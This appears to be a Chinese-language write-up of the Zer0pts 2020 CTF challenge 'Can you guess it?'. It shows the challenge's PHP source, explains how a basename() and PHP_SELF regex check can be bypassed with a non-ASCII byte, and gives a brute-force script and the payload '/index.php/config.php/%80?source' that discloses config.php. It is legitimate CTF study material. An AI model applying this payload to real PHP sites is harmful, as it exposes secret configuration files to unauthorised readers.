[Zer0pts2020]Can you guess it?
阿新 • • 發佈：2020-09-18
原始碼
<?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
根據題目提示，flag在config.php檔案中，通過?source讀取
$_SERVER['PHP_SELF']返回的是當前正在執行的指令碼的名字
basename("/path/home.php") -> home.php
如果是/index.php/config.php/，則$_SERVER['PHP_SELF']返回/index.php/config.php/
即/index.php/config.php執行的是index.php,但是basename()獲取到的是config.php,然後再通過?source讀取
這裡找一下能繞過正則的字元，指令碼來自https://darkwing.moe/2020/03/10/Can-you-guess-it-zer0pts-CTF-2020/?utm_source=tuicool&utm_medium=referral
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for ($i = 0; $i < 255; $i++){
$s = '/index.php/config.php/'.chr($i);
if(!check($s)){
$t = basename('/index.php/config.php/'.chr($i));
echo "${i}: ${t}\n";
}
}
?>
128 -> 0x80
最後的payload
/index.php/config.php/%80?source
參考https://darkwing.moe/2020/03/10/Can-you-guess-it-zer0pts-CTF-2020/?utm_source=tuicool&utm_medium=referral